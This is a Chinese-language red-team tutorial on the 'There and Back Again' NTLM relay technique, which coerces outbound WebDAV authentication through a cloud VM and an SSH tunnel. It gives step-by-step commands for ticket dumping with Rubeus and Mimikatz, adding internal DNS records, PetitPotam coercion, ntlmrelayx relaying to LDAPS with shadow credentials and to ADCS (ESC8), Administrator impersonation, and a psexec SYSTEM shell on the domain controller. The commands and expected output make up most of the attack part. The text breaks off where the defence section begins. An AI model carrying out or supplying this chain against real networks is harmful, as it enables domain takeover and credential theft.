目录
1. 引言:当出站流量成为攻击通道
在企业红队评估中,攻击者经常面临一个困境:已经通过钓鱼或漏洞利用在目标内部网络获得了低权限 C2(Command & Control)foothold,但:
- 没有本地管理员权限,无法提取 LSASS 中的凭据;
- 没有二层网络访问能力,C2 代理只能访问同网段主机;
- 出站防火墙严格,445/TCP(SMB)出站被封锁,无法直接中继到内部目标;
- Credential Guard 已启用,无法通过 Mimikatz 提取明文密码或 NTLM 哈希。
传统 NTLM 中继在这种环境下会失效——因为中继需要攻击者能够同时与"被胁迫的客户端"和"目标服务"通信,但攻击者的网络位置不允许直接访问目标服务。
SpecterOps 团队提出的"去而复返"(There and Back Again)技术,巧妙地利用了企业网络的一个普遍现实:内部主机通常被允许访问互联网上的 443/TCP 端口。攻击者强制触发目标系统的出站 NTLM 认证,让流量"出去"到互联网上的云端虚拟机,然后通过 SSH 隧道将流量"引回"红队基础设施,再通过 SOCKS5 代理中继回内部目标服务。
这条"出站 → 互联网 → 回引 → 内部目标"的迂回路径,突破了网络分段的限制,使低权限攻击者能够对域控的 LDAPS、ADCS 等高价值服务实施 NTLM 中继。
本文将从 NTLM 协议底层开始,完整拆解这一技术的每个环节。
2. NTLM 协议基础
2.1 NTLM Challenge-Response 认证流程
NTLM 是一种 Challenge-Response 认证协议,由三条消息组成:
客户端 服务器
│ │
│ 1. NTLM_NEGOTIATE (Type 1) │
│ ┌──────────────────────┐ │
│ │ Signature: NTLMSSP\0 │ │
│ │ MessageType: 0x01 │ │
│ │ NegotiateFlags: │ │
│ │ - NTLMv2 │ │
│ │ - 128bit Encryption │ │
│ │ - Sign │ │
│ │ - Domain/Workstation│ │
│ │ DomainName: CORP │ │
│ │ Workstation: WKS01 │ │
│ └──────────────────────┘ │
│─────────────────────────────►│
│ │
│ │ 生成 8 字节随机 Challenge
│ │ challenge = 0xA1B2C3D4E5F6A7B8
│ │
│ 2. NTLM_CHALLENGE (Type 2) │
│ ┌──────────────────────┐ │
│ │ Signature: NTLMSSP\0 │ │
│ │ MessageType: 0x02 │ │
│ │ ServerChallenge: │ │
│ │ A1B2C3D4E5F6A7B8 │ │ ← 服务器生成的随机挑战值
│ │ NegotiateFlags: │ │
│ │ TargetInfo: │ │
│ │ - MsvAvNbDomainName │ │
│ │ - MsvAvNbComputerName│ │
│ │ - MsvAvDnsDomainName│ │
│ │ - MsvAvTimestamp │ │ ← NTLMv2 关键: 时间戳防重放
│ └──────────────────────┘ │
│◄─────────────────────────────│
│ │
│ 计算 Response: │
│ NTv2Hash = HMAC-MD5( │
│ NTLMHash, │
│ UPPER(user) + domain) │
│ temp = HMAC-MD5(NTv2Hash, │
│ challenge + blob) │
│ Response = temp + blob │
│ │
│ 3. NTLM_AUTHENTICATE(T3) │
│ ┌──────────────────────┐ │
│ │ Signature: NTLMSSP\0 │ │
│ │ MessageType: 0x03 │ │
│ │ DomainName: CORP │ │
│ │ UserName: jsmith │ │ ← 认证身份
│ │ Workstation: WKS01 │ │
│ │ NTLMv2Response: │ │
│ │ <计算结果> │ │ ← 用哈希加密的挑战响应
│ │ SessionKey: <密钥> │ │
│ └──────────────────────┘ │
│─────────────────────────────►│
│ │
│ │ 服务器验证 Response
│ │ (向 DC 发起 NetrLogonSamLogon
│ │ 或本地比对哈希)
│ │
│ 4. 认证结果 │
│◄─────────────────────────────│
NTLMv2 Response 的计算核心(Python 伪代码):
import hmac
import hashlib
import struct
import time
def compute_ntlmv2_response(ntlm_hash: bytes, username: str,
domain: str, server_challenge: bytes,
target_info: bytes) -> bytes:
"""
计算 NTLMv2 响应
ntlm_hash: 16字节 NTLM 哈希
username: 用户名
domain: 域名
server_challenge: 8字节服务器挑战
target_info: Type 2 中的 TargetInfo blob
"""
# 1. 计算 NTv2 哈希
# NTv2Hash = HMAC-MD5(NTLMHash, UPPER(username) + domain) [UTF-16LE]
identity = (username.upper() + domain).encode('utf-16le')
ntv2_hash = hmac.new(ntlm_hash, identity, hashlib.md5).digest()
# 2. 构造 blob (NTLMv2 客户端挑战结构)
blob_header = b'\x01\x00\x00\x00' # RespType + HiRespType
reserved = b'\x00\x00\x00\x00'
timestamp = struct.pack('<Q', int(time.time()) * 10000000 + 116444736000000000)
client_challenge = b'\x11\x22\x33\x44\x55\x66\x77\x88' # 8字节随机
unknown = b'\x00\x00\x00\x00'
blob = (blob_header + reserved + timestamp + client_challenge
+ unknown + target_info + b'\x00\x00\x00\x00')
# 3. 计算 NTProofStr
# NTProofStr = HMAC-MD5(NTv2Hash, server_challenge + blob)
proof = hmac.new(ntv2_hash, server_challenge + blob, hashlib.md5).digest()
# 4. 最终 Response = NTProofStr + blob
return proof + blob
2.2 为什么 NTLM 可以被中继
NTLM 认证的一个根本设计缺陷是:Type 3(AUTHENTICATE)消息不绑定到特定的服务器身份或传输会话。具体来说:
-
无服务器绑定:Type 3 消息中的 Response 是用客户端的哈希对服务器 Challenge 加密的结果。这个 Response 不包含任何标识"这是为哪个服务器计算的"信息。只要两个服务器使用相同的 Challenge,同一个 Response 都可以被验证——但实际上每个服务器有自己的 Challenge,所以中继的核心是实时转发。
-
无通道绑定:NTLM 不像 Kerberos 那样可以将认证绑定到 TLS 通道(Channel Binding)。NTLM 认证完成后建立的会话与认证过程本身没有密码学关联,攻击者可以在中继认证后接管会话。
-
Challenge 可预测转发:攻击者作为中间人,可以向目标服务器发起连接获取 Challenge,然后将 Challenge 转发给被胁迫的客户端,客户端用其真实凭据计算 Response,攻击者再将 Response 转发给目标服务器——服务器会验证通过,因为 Response 确实是合法的。
中继的精髓在于:攻击者不需要知道客户端的密码或哈希。客户端自愿计算了 Response,攻击者只需搬运这个 Response。
中继攻击者 (中间人) 被胁迫客户端 目标服务器
│ │ │
│ 1. 向目标服务器发起连接 │ │
│──────────────────────────────────────────────────────►│
│ │ │
│ 2. 收到目标的 Challenge │ │
│◄──────────────────────────────────────────────────────│
│ (保存目标 Challenge) │ │
│ │ │
│ 3. 胁迫客户端向自己认证 │ │
│ (发送目标 Challenge 给客户端) │ │
│───────────────────────────────►│ │
│ │ │
│ │ 客户端用真实凭据 │
│ │ 计算 Response │
│ │ │
│ 4. 收到客户端的 Response │ │
│◄───────────────────────────────│ │
│ (这正是为目标 Challenge │ │
│ 计算的合法 Response) │ │
│ │ │
│ 5. 将 Response 转发给目标 │ │
│──────────────────────────────────────────────────────►│
│ │ │
│ │ 服务器验证 Response │
│ │ (向DC验证) → 通过! │
│ │ │
│ 6. 获得目标服务器的认证会话 │ │
│◄──────────────────────────────────────────────────────│
│ (以客户端身份操作目标服务) │ │
2.3 NTLM 中继的基本原理
经典 NTLM 中继工具(如 ntlmrelayx.py、Responder)的工作流程:
- 监听:攻击者在某端口监听 SMB/HTTP/LDAP 等协议的连接。
- 胁迫:通过 PetitPotam、PrinterBug、LLMNR/NBT-NS 投毒等方法,迫使目标客户端向攻击者发起 NTLM 认证。
- 中继:攻击者将客户端的 NTLM 会话实时转发到目标服务(如 LDAPS、SMB),冒充客户端身份。
- 利用:认证成功后,攻击者在目标服务上执行操作(如修改 ACL、请求证书、执行命令)。
经典中继的局限在于:攻击者必须能同时与被胁迫客户端和目标服务通信。当两者网络不通时(如攻击者在外网,目标服务在内网),经典中继失效。"去而复返"技术正是为突破这一限制而生。
3. "去而复返"技术架构
3.1 完整流量路径架构图
┌─────────────────────────────────────────────────────────────────────────┐
│ 客户端内部网络 (内网) │
│ │
│ ┌──────────────┐ ┌──────────────┐ ┌──────────────────────────┐ │
│ │ 攻击者C2 │ │ 被胁迫的 │ │ 目标服务 (域控) │ │
│ │ foothold │ │ 目标主机 │ │ │ │
│ │ (低权限) │ │ (DC01) │ │ LDAPS://DC01:636 │ │
│ │ │ │ │ │ ADCS Web Enrollment │ │
│ │ ┌────────┐ │ │ ┌────────┐ │ │ SMB://DC01:445 │ │
│ │ │SOCKS5 │◄─┼────┼──┤出站NTLM│ │ │ │ │
│ │ │代理 │ │ │ │认证 │ │ │ ┌──────────────────┐ │ │
│ │ └────────┘ │ │ └───┬────┘ │ │ │ ntlmrelayx.py │ │ │
│ │ │ │ │ │ │ │ │ (中继到LDAPS) │ │ │
│ │ ┌────────┐ │ │ │ │ │ │ 监听 0.0.0.0:443 │◄───┼──┼
│ │ │proxy- │ │ │ │ │ │ └──────────────────┘ │ │
│ │ │chains4│ │ │ │ │ │ ▲ │ │
│ │ └────────┘ │ │ │ │ │ │ │ │
│ └──────┬───────┘ └──────┼───────┘ └───────────┼──────────────┘ │
│ │ │ │ │
│ │ C2信道 │ 出站443/TCP │ 内网中继 │
│ │ (反向连接) │ (WebDAV/EFSRPC) │ (SOCKS5) │
└─────────┼─────────────────────┼────────────────────────┼─────────────────┘
│ │ │
│ ┌──────┴────────────────────────┘
│ │ 出站流量"去"
│ ▼
┌─────────┼──────────────────────────────────────────────────────────────┐
│ │ 互联网 (Internet) │
│ │ │
│ │ ┌──────────────────────────────────────────────────┐ │
│ │ │ Azure 云端虚拟机 (公网IP) │ │
│ │ │ │ │
│ │ │ ┌──────────────────────────────────────────┐ │ │
│ │ │ │ iptables: 443/TCP → 8443/TCP 重定向 │ │ │
│ │ │ │ (非特权端口监听) │ │ │
│ │ │ └──────────────────┬───────────────────────┘ │ │
│ │ │ │ │ │
│ │ │ ┌──────────────────▼───────────────────────┐ │ │
│ │ │ │ SSH 反向隧道: 0.0.0.0:8443 → 红队:443 │ │ │
│ │ │ │ (sshd: AllowTcpForwarding=yes │ │ │
│ │ │ │ GatewayPorts=clientspecified) │ │ │
│ │ │ └──────────────────┬───────────────────────┘ │ │
│ │ │ │ │ │
│ │ └─────────────────────┼─────────────────────────────┘ │
│ │ │ │
│ │ 流量"复返" (回引到红队基础设施) │
│ │ │ │
└─────────┼───────────────────────────┼───────────────────────────────────┘
│ │
│ ┌─────────────────────▼───────────────────────┐
│ │ 红队基础设施 (攻击者控制) │
│ │ │
└────►│ ┌─────────────────────────────────────┐ │
│ │ ntlmrelayx.py │ │
│ │ -t ldaps://DC_IP │ │
│ │ --shadow-credentials │ │
│ │ --http-port 443 │ │
│ │ (通过 C2 的 SOCKS5 代理将中继流量 │ │
│ │ 发回内网目标) │ │
│ └─────────────────────────────────────┘ │
│ │
│ ┌─────────────────────────────────────┐ │
│ │ proxychains4 → C2 SOCKS5 → 内网 │ │
│ └─────────────────────────────────────┘ │
└───────────────────────────────────────────────┘
数据流总结:
[1] 红队基础设施 → (C2信道) → C2 foothold (内网)
[2] C2 foothold 胁迫 DC01 出站 NTLM 认证
[3] DC01 → (出站443/TCP) → Azure VM (公网)
[4] Azure VM → (SSH反向隧道) → 红队基础设施:443
[5] 红队基础设施 ntlmrelayx 收到 NTLM 认证
[6] ntlmrelayx → (proxychains/SOCKS5) → C2 foothold → DC01 LDAPS
[7] 中继成功: 以 DC01 身份操作 LDAPS (如添加 shadow credentials)
3.2 每个跳转点的作用与必要性
| 跳转点 | 位置 | 作用 | 为什么必需 |
|---|---|---|---|
| C2 foothold | 内网低权限主机 | SOCKS5 代理入口 + 胁迫触发点 | 攻击者在内网的唯一立足点 |
| 出站 443/TCP | DC01 → Azure VM | 将 NTLM 流量引出内网 | 内网防火墙通常允许 443 出站,但不允许 SMB |
| Azure VM | 公网 | 流量接收 + SSH 隧道入口 | 需要公网可达的"锚点"接收出站流量 |
| iptables 重定向 | Azure VM 内核 | 443→8443 端口转换 | SSH 反向隧道无法绑定特权端口 443 |
| SSH 反向隧道 | Azure VM → 红队 | 将流量加密回引到红队基础设施 | 红队工具不直接暴露公网,隐蔽性 |
| SOCKS5 代理 | C2 foothold | 红队工具通过代理访问内网目标 | 红队基础设施无法直接访问内网 |
| ntlmrelayx | 红队基础设施 | NTLM 中继核心 | 在红队侧统一处理中继逻辑 |
| 内网目标服务 | DC01 LDAPS/ADCS | 中继落地,执行操作 | 最终攻击目标 |
每个跳转都解决一个特定的网络限制:
- Azure VM 解决"公网可达"问题——出站流量需要一个公网目的地;
- iptables 解决"特权端口绑定"问题——非 root 的 SSH 隧道不能绑 443;
- SSH 反向隧道 解决"红队隐蔽性"问题——红队核心工具不暴露公网 IP;
- SOCKS5 解决"网络分段"问题——红队无法直连内网,需通过 C2 代理。
4. 认证胁迫方法对比
4.1 胁迫方法综合对比表
"去而复返"技术的关键是强制目标系统发起出站 NTLM 认证。以下是主要胁迫方法:
| 方法 | 协议 | 端口 | 所需权限 | 出站能力 | 典型工具 | 适用场景 |
|---|---|---|---|---|---|---|
| PetitPotam | MS-EFSRPC (RPC) | 445/TCP | 任意域用户(部分版本无需认证) | SMB出站 | PetitPotam.py | 胁迫DC出站认证 |
| PrinterBug | MS-RPRN (RPC) | 445/TCP | 任意域用户 | SMB出站 | SpoolSample/SharpSpoolTrigger | 胁迫启用打印服务的主机 |
| WebDAV | HTTP/HTTPS | 80/443/TCP | 任意域用户 | 443出站 | custom WebClient触发 | "去而复返"首选 |
| HTTP coercion | HTTP | 80/443/TCP | 无 | HTTP出站 | Responder/自定义服务 | 通用HTTP认证胁迫 |
| LLMNR/NBT-NS投毒 | mDNS/NetBIOS | 5355/137/UDP | 无(被动) | 取决于客户端 | Responder/Inveigh | 被动等待名称解析失败 |
| IPv6 DNS接管 | DHCPv6 | 547/UDP | 无(被动) | 取决于客户端 | mitm6 | IPv6优先环境 |
| DFSCoerce | MS-DFSNM (RPC) | 445/TCP | 任意域用户 | SMB出站 | dfscoerce.py | 胁迫DFS相关服务 |
| ShadowCoerce | MS-FSRVP (RPC) | 445/TCP | 任意域用户 | SMB出站 | shadowcoerce.py | 卷影复制服务胁迫 |
| Espresso | MS-EFSRPC | 445/TCP | 无(匿名) | SMB出站 | espresso.py | PetitPotam变体 |
"去而复返"场景下的方法选择:
在出站 445/TCP 被封锁的环境中,基于 SMB (445) 的胁迫方法(PetitPotam、PrinterBug、DFSCoerce)全部失效。此时必须使用 WebDAV (443/TCP) 作为出站通道。WebDAV 胁迫通过 UNC 路径 \\relayhost@443\test 触发,其中 @443 指定使用 443 端口而非默认的 445。
4.2 为什么 443/TCP 比 445/TCP 更适合出站
企业出站防火墙策略的典型配置:
出站规则 (典型企业):
┌─────────────────────────────────────────────────────────┐
│ 源: 内网任意 目标: 互联网 │
│ │
│ 端口策略: │
│ 80/TCP (HTTP) → 允许 (但可能经代理审计) │
│ 443/TCP (HTTPS) → 允许 (加密, 难以审计内容) │
│ 445/TCP (SMB) → 阻止 (防止数据外泄) │
│ 135/TCP (RPC-EPM) → 阻止 │
│ 139/TCP (NetBIOS) → 阻止 │
│ 3389/TCP (RDP) → 阻止 │
│ 88/TCP (Kerberos) → 阻止 │
│ │
│ 高位端口 (49152+) → 取决于策略 │
└─────────────────────────────────────────────────────────┘
443/TCP 之所以成为出站中继的首选通道:
- 普遍允许出站:几乎所有企业都允许内网访问互联网 HTTPS(443),否则正常业务无法运行。
- 加密流量:虽然 NTLM 认证本身不加密,但 443 端口上的流量通常被 DPI 设备视为 HTTPS 而放过。
- WebDAV 支持:Windows WebClient 服务原生支持
@SSL/@443语法,可在 443 端口上承载 WebDAV NTLM 认证。 - 隐蔽性高:443 流量是正常互联网流量的主体,混在其中难以被发现。
WebDAV UNC 路径格式:
\\relayhost@443\share\ → 使用 443/TCP 的 WebDAV
\\relayhost@SSL@443\share\ → 显式指定 SSL
\\relayhost\share\ → 默认 445/TCP SMB (可能被阻止)
\\relayhost@80\share\ → 使用 80/TCP 的 WebDAV (可能经代理)
5. 基础设施搭建完整指南
5.1 Azure VM 配置
在 Azure 上创建一台 Linux VM 作为出站流量接收锚点。
# Azure CLI: 创建资源组
az group create --name relay-infra --location eastus
# 创建 VM (Ubuntu 22.04, 标准配置)
az vm create \
--name relay-host \
--resource-group relay-infra \
--image UbuntuLTS \
--size Standard_B1s \
--admin-username azureuser \
--ssh-key-values ~/.ssh/relayhost_key.pem \
--public-ip-sku Standard
# 获取公网 IP
CLOUD_IP=$(az vm show -d -g relay-infra -n relay-host \
--query publicIps -o tsv)
echo "Cloud VM IP: $CLOUD_IP"
# 配置 NSG: 开放 443/TCP (入站)
az network nsg rule create \
--name allow-443 \
--resource-group relay-infra \
--nsg-name relay-hostNSG \
--priority 100 \
--source-address-prefixes '*' \
--source-port-ranges '*' \
--destination-address-prefixes '*' \
--destination-port-ranges 443 \
--access Allow \
--protocol Tcp \
--direction Inbound
5.2 iptables 端口重定向规则
SSH 反向隧道无法由非特权用户绑定 443 端口(特权端口 < 1024)。解决方案是让 Azure VM 在 443 上接收连接,然后通过 iptables NAT 规则重定向到 8443(非特权端口),SSH 反向隧道绑定 8443。
# SSH 到 Azure VM
ssh -i ~/.ssh/relayhost_key.pem azureuser@$CLOUD_IP
# 添加 iptables NAT 规则 (PREROUTING: 处理外部入站流量)
sudo iptables -t nat -A PREROUTING -p tcp --dport 443 -j REDIRECT --to-port 8443
# OUTPUT 规则: 处理本机产生的流量 (如本机测试)
sudo iptables -t nat -A OUTPUT -p tcp -o lo --dport 443 -j REDIRECT --to-port 8443
# 验证规则
sudo iptables -t nat -L -n -v
# 持久化规则 (Ubuntu)
sudo apt-get install -y iptables-persistent
sudo netfilter-persistent save
# 预期输出:
# Chain PREROUTING (policy ACCEPT)
# target prot opt source destination ports
# REDIRECT tcp -- 0.0.0.0/0 0.0.0.0/0 tcp dpt:443 redir ports 8443
规则解析:
| 规则 | 表 | 链 | 作用 |
|---|---|---|---|
PREROUTING --dport 443 --to-port 8443 |
nat | PREROUTING | 外部到达 443 的流量重定向到 8443 |
OUTPUT -o lo --dport 443 --to-port 8443 |
nat | OUTPUT | 本机回环测试 443 重定向到 8443 |
5.3 SSH 反向隧道配置
SSH 反向隧道将 Azure VM 上 8443 端口收到的流量,通过 SSH 加密通道转发回红队基础设施的 443 端口(ntlmrelayx 监听端口)。
步骤1:修改 Azure VM 的 sshd 配置
# 在 Azure VM 上
sudo tee -a /etc/ssh/sshd_config << 'EOF'
# 允许 TCP 转发
AllowTcpForwarding yes
# 允许客户端指定绑定地址 (GatewayPorts)
GatewayPorts clientspecified
# 允许反向转发端口绑定到所有接口
ClientAliveInterval 60
ClientAliveCountMax 3
EOF
# 重启 sshd
sudo systemctl restart sshd
步骤2:从红队基础设施建立反向隧道
# 在红队基础设施上执行
# -R: 反向端口转发
# 0.0.0.0:8443 → Azure VM 上绑定所有接口的 8443
# localhost:443 → 转发到红队本地的 443 (ntlmrelayx 监听)
sudo ssh -i ~/.ssh/relayhost_key.pem \
-R 0.0.0.0:8443:localhost:443 \
-N \
-o ServerAliveInterval=60 \
-o ServerAliveCountMax=3 \
-o ExitOnForwardFailure=yes \
azureuser@$CLOUD_IP
# 参数说明:
# -R 0.0.0.0:8443:localhost:443
# │ │ │
# │ │ └─ 红队本地目标端口 (ntlmrelayx)
# │ └─ 红队本地目标地址
# └─ Azure VM 上绑定的地址和端口 (0.0.0.0=所有接口)
# -N: 不执行远程命令, 仅做端口转发
# -o ExitOnForwardFailure: 端口转发失败时退出 (避免静默失败)
隧道验证:
# 在 Azure VM 上检查 8443 是否在监听
ss -tlnp | grep 8443
# 预期: 0.0.0.0:8443 LISTEN sshd
# 从任意外部主机测试: 连接 Azure VM:443 应被转发到红队:443
curl -v http://$CLOUD_IP:443/test
# 如果 ntlmrelayx 在监听, 会收到 HTTP 响应
流量路径验证:
外部主机 → AzureVM:443 → (iptables) → AzureVM:8443
→ (SSH隧道) → 红队:443 (ntlmrelayx)
5.4 SOCKS5 代理建立
红队基础设施需要通过 C2 foothold 的 SOCKS5 代理访问内网目标。SOCKS5 代理的建立方式取决于 C2 框架(Cobalt Strike、Sliver、Havoc 等)。
Cobalt Strike 示例:
# 在 Beacon 交互界面
beacon> socks 1080
# 在 1080 端口启动 SOCKS5 代理
# 红队工具通过 proxychains 经此代理访问内网
proxychains 配置:
# /etc/proxychains4.conf
[ProxyList]
socks5 127.0.0.1 1080
# 测试代理连通性
proxychains4 nmap -sT -p 636 DC01.corp.local
# 预期: 通过 SOCKS5 代理扫描 DC01 的 LDAPS 端口
SOCKS5 流量路径:
红队工具 (ntlmrelayx/dnstool/PetitPotam)
↓ proxychains4
SOCKS5 代理 (127.0.0.1:1080)
↓ C2 加密信道
C2 foothold (内网)
↓ 直连内网
内网目标 (DC01 LDAPS:636)
6. 完整攻击执行流程
以下是从低权限 foothold 到域控接管的完整攻击步骤。
6.1 Kerberos 票据提取与转换
即使 Credential Guard 启用,Kerberos 服务票据(TGS)仍可从当前会话提取,因为 Credential Guard 只保护 NTLM 哈希和 TGT 的原始密钥,不阻止已签发票据的使用。
# 步骤1: 在 C2 foothold 上提取当前会话的 Kerberos 票据
# (使用 Rubeus 或 Mimikatz)
Rubeus.exe dump /nowrap
# 输出: Base64 编码的 Kirbi 票据
# 或使用 Mimikatz
mimikatz # sekurlsa::tickets /export
# 导出 .kirbi 文件到当前目录
# 步骤2: 将 Kirbi 转换为 ccache 格式 (Impacket 使用)
# 在红队基础设施上
ticketConverter.py ticket.kirbi ticket.ccache
# 输出: ticket.ccache
# 步骤3: 设置环境变量
export KRB5CCNAME=ticket.ccache
注意:如果 foothold 是域用户账户,提取的票据可用于向 DNS 服务认证(添加 DNS 记录)。如果 foothold 是机器账户,票据可用于机器账户能访问的服务。
6.2 添加 DNS 记录指向云端 VM
攻击者需要在内部 DNS 中添加一条记录,将 relayhost.domain 解析到 Azure VM 的公网 IP。这样当 DC01 被胁迫访问 \\relayhost@443\test 时,会解析到公网 IP 并发起出站 443 连接。
# 在红队基础设施上, 通过 SOCKS5 代理向内网 DNS 服务器添加记录
KRB5CCNAME=ticket.ccache proxychains4 python3 dnstool.py \
-u 'CORP\jsmith' \
-k \
-r relayhost.corp.local \
-d $CLOUD_IP \
-a add \
--zone corp.local \
DC01.corp.local
# 参数说明:
# -k: 使用 Kerberos 认证 (无需密码)
# -u: 用户名 (使用票据中的身份)
# -r: 要添加的 DNS 记录名
# -d: DNS 记录值 (Azure VM 公网 IP)
# -a add: 添加记录
# --zone: DNS 区域名
# DC01.corp.local: DNS 服务器地址
# 预期输出:
# [-] Adding new record
# [*] ADD operation was successful!
验证 DNS 记录:
proxychains4 nslookup relayhost.corp.local DC01.corp.local
# 预期: relayhost.corp.local → CLOUD_IP (Azure VM 公网IP)
6.3 启动 EFS 与 WebClient 服务
WebDAV 认证需要 WebClient 服务运行。WebClient 服务默认不自动启动,且启动需要管理员权限——但可以通过特定技术绕过。
启动 EFS 服务(无需管理员权限):
# 通过 SOCKS5 代理, 在 DC01 上启动 EFS 服务
# rpc2efs.py 利用 MS-EFSRPC 接口, 普通用户即可触发 EFS 服务启动
proxychains4 python3 rpc2efs.py -k 'CORP\jsmith' DC01.corp.local
# 预期输出:
# [*] Connecting to DC01.corp.local
# [*] Binding to MS-EFSRPC
# [+] EFS service started successfully
启动 WebClient 服务:
WebClient 服务无法直接通过 sc start 启动(需要管理员)。红队使用 BOF(Beacon Object File)通过 ETW 事件触发 WebClient 自动启动:
# Cobalt Strike Beacon 中执行
beacon> inline-execute /path/to/StartWebClient.x64.oem relayhost.corp.local
# StartWebClient BOF 原理:
# 1. 调用 WinHttpOpen 创建 HTTP 会话
# 2. 触发 ETW 事件
# 3. WebClient 服务的延迟启动触发器被激活
# 4. WebClient 服务自动启动并连接到指定主机
WebClient 启动验证:
proxychains4 python3 atexec.py -k 'CORP\jsmith' DC01.corp.local \
'sc query WebClient'
# 预期: STATE: 4 RUNNING
6.4 启动 ntlmrelayx 中继到 LDAPS
ntlmrelayx 在红队基础设施上监听 443 端口,接收从 Azure VM SSH 隧道回引的 NTLM 认证,然后通过 SOCKS5 代理中继到内网 DC01 的 LDAPS。
# 在红队基础设施上启动 ntlmrelayx
# 关键: 通过 proxychains 让 ntlmrelayx 的出站连接走 SOCKS5 代理
proxychains4 ntlmrelayx.py \
-t ldaps://DC01.corp.local \
--shadow-credentials \
--no-dump \
--no-da \
--no-acl \
--no-validate-privs \
--http-port 443
# 参数详解:
# -t ldaps://DC01.corp.local
# 中继目标: DC01 的 LDAPS (636/TCP)
# LDAPS 签名默认未启用, 可被中继; LDAP (389) 默认要求签名
# --shadow-credentials
# 在目标对象上添加 msDS-KeyCredentialLink (Shadow Credentials)
# 攻击者随后可用 PKINIT 以该身份请求 TGT
# --no-dump / --no-da / --no-acl / --no-validate-privs
# 禁用其他操作, 仅执行 shadow credentials (降低噪音)
# --http-port 443
# 监听 443 端口接收 NTLM 认证 (与 Azure VM SSH 隧道对接)
为什么选择 LDAPS 而非 LDAP:
中继目标选择逻辑:
┌─────────────────────────────────────────────────────────────┐
│ LDAP (389/TCP): │
│ - 默认启用 LDAP Signing (Windows Server 2019+) │
│ - 中继会被拒绝: "Strong(er) authentication required" │
│ - 除非域控配置为 "Signing not required" │
│ │
│ LDAPS (636/TCP): │
│ - 默认不启用 Channel Binding (EPA) │
│ - 可被中继 (除非显式启用 EPA + Channel Binding) │
│ - 证书服务使用 LDAPS, 是常见中继目标 │
│ │
│ SMB (445/TCP): │
│ - 如果启用 SMB Signing, 中继失败 │
│ - 域控默认启用 Signing │
└─────────────────────────────────────────────────────────────┘
ntlmrelayx 启动后预期输出:
[*] Protocol Client HTTP loaded..
[*] Protocol Client HTTPS loaded..
[*] Protocol Client LDAP loaded..
[*] Protocol Client LDAPS loaded..
[*] Running in relay mode to single host
[*] Setting up SMB Server
[*] Setting up HTTP Server on port 443
[*] Servers started, waiting for connections
6.5 PetitPotam 触发 EFSRPC 胁迫
最后一步:触发 DC01 发起出站 NTLM 认证到 relayhost@443。
由于使用 WebDAV(443)而非 SMB(445)出站,PetitPotam 的目标参数需要特殊格式:
# 通过 SOCKS5 代理执行 PetitPotam
# 目标参数: 'relayhost@443/test' (WebDAV UNC 路径)
# 这会让 DC01 尝试通过 WebDAV (443/TCP) 访问 relayhost
proxychains4 python3 PetitPotam.py \
-u jsmith \
-p 'Summer2024!' \
-d corp.local \
'relayhost@443/test' \
DC01.corp.local
# 参数说明:
# -u/-p/-d: 认证凭据 (用于 MS-EFSRPC 绑定)
# 'relayhost@443/test': 胁迫目标
# relayhost = DNS 记录指向 Azure VM
# @443 = 使用 WebDAV 443 端口
# /test = 路径
# DC01.corp.local: 被胁迫的机器
完整攻击时序:
T+0s: PetitPotam 向 DC01 发送 EFSRPC 胁迫请求
DC01 收到请求, 尝试访问 \\relayhost@443\test
T+1s: DC01 解析 relayhost.corp.local → CLOUD_IP (Azure VM)
DC01 发起 TCP 连接到 CLOUD_IP:443
T+2s: Azure VM 收到 443 连接
iptables 重定向到 8443
SSH 反向隧道转发到红队:443
T+3s: ntlmrelayx 收到 HTTP 连接
ntlmrelayx 向 DC01 的 LDAPS (636) 发起连接
(通过 SOCKS5 → C2 foothold → 内网)
T+4s: ntlmrelayx 从 LDAPS 获取 Challenge
ntlmrelayx 将 Challenge 通过 HTTP 发给 DC01 (出站回引)
T+5s: DC01 用机器账户凭据计算 Response
DC01 通过 HTTP (443出站) 发送 Response
T+6s: Response 经 Azure VM → SSH隧道 → ntlmrelayx
ntlmrelayx 将 Response 中继到 LDAPS
T+7s: LDAPS 验证通过!
ntlmrelayx 以 DC01$ 机器账户身份操作 LDAPS
执行: 添加 msDS-KeyCredentialLink (Shadow Credentials)
T+8s: ntlmrelayx 输出:
[*] SMBD-HTTP-Proxy: Client (DC01$) authenticated
[*] Adding shadow credentials to: DC01$
[+] Shadow credentials added successfully!
[*] Use the following command to obtain a TGT:
gettgtpkinit.py -pfx DC01.pfx CORP/DC01$ DC01.ccache
Shadow Credentials 后续利用:
# 步骤1: 用 Shadow Credentials 请求 DC01$ 的 TGT
python3 gettgtpkinit.py \
-pfx DC01.pfx \
-dc-ip DC01.corp.local \
CORP/DC01$ \
DC01.ccache
# 步骤2: 用 DC01$ 的 TGT 通过 S4U2Self 申请管理员票据
# (如果 DC01$ 有 RBCD 委派或约束委派到自身)
KRB5CCNAME=DC01.ccache python3 getST.py \
-spn cifs/DC01.corp.local \
-impersonate Administrator \
CORP/DC01$ \
Administrator.ccache
# 步骤3: 注入管理员票据, 获取域控访问权限
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass CORP/Administrator@DC01.corp.local
# 获得 DC01 上的 SYSTEM shell
6.6 ADCS ESC8 中继变体
除了中继到 LDAPS,"去而复返"技术还可中继到 ADCS Web 注册端点(ESC8 漏洞),直接请求以被胁迫身份签名的证书。
# 中继到 ADCS Web 注册端点
proxychains4 ntlmrelayx.py \
-t http://CA01.corp.local/certsrv/certfnsh.asp \
-smb2support \
--adcs \
--template DomainController \
--http-port 443
# 参数说明:
# -t: ADCS Web 注册端点 URL
# --adcs: 启用 ADCS 证书请求模式
# --template: 证书模板 (DomainController 模板允许以 DC 身份认证)
# 胁迫触发 (同前)
proxychains4 python3 PetitPotam.py -u jsmith -p 'Pass!' -d corp.local \
'relayhost@443/test' DC01.corp.local
# ntlmrelayx 输出:
# [*] HTTP Client: DC01$ requested /certsrv/certfnsh.asp
# [*] ADCS: Requesting certificate for CORP\DC01$
# [+] Certificate successfully obtained!
# User: DC01$
# Thumbprint: A1B2C3D4...
# Base64: MIIR...
# 后续: 用证书通过 PKINIT 请求 TGT
python3 gettgtpkinit.py -pfx-base64 MIIR... CORP/DC01$ DC01.ccache
ADCS ESC8 中继的优势:
- 不需要在目标上修改任何属性(不像 Shadow Credentials 需要 LDAP 写权限);
- 证书有效期长(默认 1 年),即使密码更改仍可用;
- 适用于任何能被胁迫出 NTLM 认证的身份。
7. 防御方案
7.1 SMB Signing 强制启用
SMB Signing 是防御 SMB NTLM 中继的最有效措施。启用后,每个 SMB 消息都附带 HMAC-SHA256 签名,中继者无法伪造签名。
# GPO 配置: 强制 SMB Signing
# 路径: Computer Configuration > Policies > Windows Settings >
# Security Settings > Local Policies > Security Options
# 通过注册表强制启用
